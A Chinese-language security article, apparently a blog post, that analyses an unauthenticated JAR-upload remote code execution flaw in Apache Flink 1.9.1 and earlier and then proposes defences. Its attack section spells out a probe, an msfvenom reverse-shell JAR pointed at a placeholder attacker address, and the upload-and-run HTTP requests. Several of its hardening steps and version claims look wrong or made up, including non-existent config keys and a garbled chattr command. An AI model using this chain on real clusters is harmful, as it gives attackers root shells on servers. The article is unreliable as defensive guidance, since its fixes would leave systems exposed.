Apache Flink <=1.9.1 未授权RCE漏洞:从 Jar 上传到系统权限获取的 3 步攻击链分析

📅 2026/7/8 20:04:30
Apache Flink <=1.9.1 未授权RCE漏洞:从 Jar 上传到系统权限获取的 3 步攻击链分析
Apache Flink未授权RCE漏洞深度剖析从架构缺陷到实战防御漏洞背景与影响范围Apache Flink作为流式计算领域的标杆框架其设计初衷是处理高吞吐、低延迟的数据流。然而在1.9.1及更早版本中Web Dashboard的默认无认证机制埋下了严重安全隐患。攻击者仅需通过网络可达就能直接访问控制台并上传恶意Jar包最终获取服务器最高权限。受影响版本矩阵组件版本漏洞类型CVSS评分默认风险≤1.9.1未授权访问Jar上传RCE9.8高危无需任何认证1.9.2-1.11.2需配合其他漏洞8.1高危依赖配置错误≥1.11.3已修复-需配置不当才会触发典型受害环境包括暴露在公网的Flink集群管理界面内网中未做网络隔离的开发测试环境采用默认配置的快速部署场景漏洞成因的三层技术解析1. 无认证的Web控制台Flink Dashboard默认监听8081端口其安全设计存在根本缺陷// 典型的安全配置缺失 security.ssl.enabled: false rest.authenticate: false这种开放管理模式在开发环境或许方便但在生产环境等同于敞开大门。2. Jar动态加载机制系统通过JobManager处理Jar上传和执行流程用户上传Jar到/tmp/flink-web-upload目录通过PackagedProgram加载Jar中的主类使用URLClassLoader动态执行用户代码关键问题在于缺乏代码签名验证# 伪代码展示漏洞点 def handle_jar_upload(file): if not file.name.endswith(.jar): raise Error(仅支持Jar文件) # 无任何内容检查直接保存 save_to_disk(file)3. 高权限服务运行Flink服务通常以root或Administrator身份运行导致攻击者获取权限后可直接控制整个主机。这与大数据组件常见的以最小权限运行最佳实践相违背。完整攻击链拆解阶段一环境探测攻击者使用简单curl命令即可确认漏洞存在curl -I http://target:8081 # 返回200且无认证要求即为可能存在漏洞阶段二恶意负载制作使用MSF生成定制化攻击载荷msfvenom -p java/meterpreter/reverse_tcp \ LHOSTattacker_ip \ LPORT4444 \ -f jar payload.jar关键参数说明java/meterpreter/reverse_tcpJava平台的反向shell载荷LHOST/LPORT攻击者监听地址阶段三攻击执行流程上传恶意JarPOST /jars/upload HTTP/1.1 Host: target:8081 Content-Type: multipart/form-data [恶意Jar文件内容]触发执行POST /jars/payload.jar/run HTTP/1.1 Host: target:8081权限提升自动加载Jar中的静态代码块建立反向连接获取shell继承Flink服务的高权限防御体系的四维建设1. 基础加固措施网络层控制# Nginx反向代理配置示例 location /flink { auth_basic Restricted; auth_basic_user_file /etc/nginx/.htpasswd; proxy_pass http://localhost:8081; }服务配置调整# conf/flink-conf.yaml security.ssl.enabled: true rest.authenticate: true web.upload.dir: # 禁用上传2. 运行时防护方案部署RASP运行时应用自保护 agents监控异常行为非授权类的动态加载敏感系统命令执行异常网络连接建立3. 安全开发规范对于需要Jar上传的业务场景必须实现// 代码签名验证示例 JarFile jar new JarFile(file); Certificate[] certs jar.getCertificates(); if(!verifySignature(certs)) { throw new SecurityException(无效签名); }4. 持续监控策略建立针对Flink集群的专项监控异常Jar上传行为非预期的新进程创建非常规端口的外联请求漏洞修复的演进路线Apache官方在后续版本中采取了多重改进1.11.3版本增加Jar文件内容校验限制动态加载的类路径1.13.0版本引入基于Kerberos的强认证默认启用HTTPS加密最新版本细粒度的RBAC控制操作审计日志记录企业级防护建议对于无法立即升级的旧版本环境建议采取以下临时措施网络隔离方案# 使用iptables限制访问 iptables -A INPUT -p tcp --dport 8081 \ -s 10.0.0.0/24 \ # 仅允许内网访问 -j ACCEPT iptables -A INPUT -p tcp --dport 8081 -j DROP文件系统防护# 设置上传目录不可执行 chattr i /tmp/flink-web-upload在多个金融行业客户的实际防护中我们发现结合网络ACL和服务账户降权的组合方案能有效将漏洞利用难度从低提升到高。